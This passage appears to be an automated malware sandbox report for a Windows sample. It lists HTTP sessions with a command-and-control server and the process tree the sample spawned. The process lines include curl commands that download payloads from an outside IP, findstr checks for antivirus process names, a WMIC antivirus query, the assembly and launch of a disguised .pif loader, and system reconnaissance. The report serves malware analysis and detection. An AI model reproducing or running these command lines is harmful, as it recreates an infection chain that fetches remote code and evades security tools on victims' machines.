Nov 21, 2024 20:02:45.550164938 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	50097	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:44.660490990 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:46.032340050 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	50098	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:45.747179031 CET	143	OUT	GET /v10/ukyh.php?jspo=2016&jwvs=9A5605DE11447A0E2031624EE8FBDE&bsxa=1 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:48.183474064 CET	204	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:46 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 5 Content-Type: text/html; charset=UTF-8 Data Raw: 66 61 6c 73 65 Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	50099	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:46.233840942 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:47.543230057 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Target ID:	0
Start time:	13:58:38
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vqMMwqCFZQ.exe"
Imagebase:	0x400000
File size:	1'069'345 bytes
MD5 hash:	8E55A7932D1B9649ABA9D3E97CA688CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:58:39
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:58:39
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:58:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:58:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x4f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:58:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x7ff7699e0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:58:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x4f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:58:42
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 139918
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:58:42
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "SyntaxMilesImperialTriple" Credits
Imagebase:	0x4f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:58:42
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Asked + ..\Leaving + ..\During + ..\Chairman + ..\Bracket + ..\Label + ..\Perhaps v
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:58:42
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\139918\Ur.pif
Wow64 process (32bit):	true
Commandline:	Ur.pif v
Imagebase:	0x610000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:58:43
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x420000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:59:35
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\807 2>&1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:59:35
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:59:35
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Imagebase:	0x290000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:59:37
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:59:37
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:59:37
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:59:37
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:59:38
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:00:05
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:00:05
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:00:05
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:00:07
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:00:07
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:00:07
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:00:09
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:00:09
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:00:09
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:00:10
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:00:10
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:00:10
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:00:12
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:00:12
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:00:12
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:00:15
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:00:15
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:00:15
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:00:16
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:00:17
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:00:17
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:00:18
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:00:18
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:00:19
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:00:24
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:00:24
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:00:24
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
Wow64 process (32bit):	true
Commandline:	azvw.exe -o xhwq.zip
Imagebase:	0x400000
File size:	167'936 bytes
MD5 hash:	75375C22C72F1BEB76BEA39C22A1ED68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:00:25
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:00:25
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	14:00:25
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	14:00:26
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	14:00:26
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	14:00:26
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	14:00:28
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	14:00:28
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	14:00:28
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	systeminfo
Imagebase:	0xdd0000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	14:00:28
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /C:"OS Name"
Imagebase:	0x4f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	14:00:28
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
